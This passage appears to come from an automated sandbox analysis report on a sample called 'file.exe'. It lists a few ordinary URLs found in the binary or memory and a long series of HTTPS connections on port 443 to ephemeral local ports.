Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
